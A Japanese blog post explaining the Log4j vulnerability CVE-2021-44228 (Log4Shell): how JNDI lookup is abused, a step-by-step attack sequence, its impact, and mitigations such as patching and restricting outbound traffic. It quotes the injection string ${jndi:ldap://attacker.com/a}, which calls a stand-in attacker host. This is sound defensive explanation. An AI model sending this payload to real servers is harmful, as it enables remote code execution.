JNDI とは
Java Naming and Directory Interface という、Java アプリケーションが DNS や LDAP 等のサービスを利用するための汎用的なインタフェース (ライブラリ) です。
Log4j と JNDI lookup
Apache Software Foundation が開発した、Java ベースのロギングに関するライブラリです。JNDI lookup という機能があり、書き込んだログの一部を自動で変数化します。今回はこの機能が悪用されています。
CVE-2021-44228 の攻撃シーケンスの例
- 攻撃者は脆弱性をトリガーするために http ヘッダの User-Agent に ${jndi:ldap://attacker.com/a} という文字列を埋め込み、http リクエストを送信します。
- 脆弱性のあるサーバの Java App はその通信を処理した結果をログに書き込みます。
- JNDI lookup という機能がログ内の文字列を変数化するために JNDI 経由で ldap://attacker.com/a へ LDAP query を送信します。
- 悪意ある LDAP サーバは、悪意ある Java Class ファイルの URL を応答します。
- Log4j は JNDI からの LDAP 応答にある URL を使って悪意ある Java Class ファイルをダウンロードします。
- Log4j は悪意ある Java Class をメモリ内に読み込み実行します。
ここでは例として Web + AP (Java) を同一サーバで考えていますが、別サーバのパターンもあり得ます。その場合は、外部公開されていない AP サーバがインターネットへ接続しに行きます。
影響範囲
攻撃コード (PoC) が公開されている。早めの対処が必要。
NW 機器であっても Log4j のライブラリを使っている可能性があるため、注意が必要。Cisco も 2021/12/12 時点で調査中というステータス。
対策、回避策
jpcert にある通り、バージョンアップや lookup 機能を無効化する。
個人的な考察
Log4j は非常に広範に利用されているため、今回の脆弱性も広範にわたると思われますが、もっと厄介なのは、どの製品で使われているのかあまり知られていないことだと思います。
おそらくシステム構築ベンダーも把握できていないため、各メーカーへ問合せが必要と思いますが、メーカーも開発者へのヒアリングなど調査に時間がかかるかもしれません。(Cisco も調査中)
とりあえず、jpcert に記載のある対策、回避策は実施すべきだが、すぐに対処できないという場合は、
という基本的なセキュリティ設計をしていれば、ある程度の暫定処置にはなると思われる。(サーバからインターネットへの通信は必要十分の宛先に絞ること。全許可にしているやつ、いねーよなー！？)
ただし、攻撃パターンはこれだけとは限らない。色々な可能性が考えられるため、『インターネット公開してないからいいや』等と考えてはならない。
参考文献
nesukeの推薦図書
IT/インフラエンジニアの地位とスキル向上のために
あなたが成長の日々を歩めますように。
コメント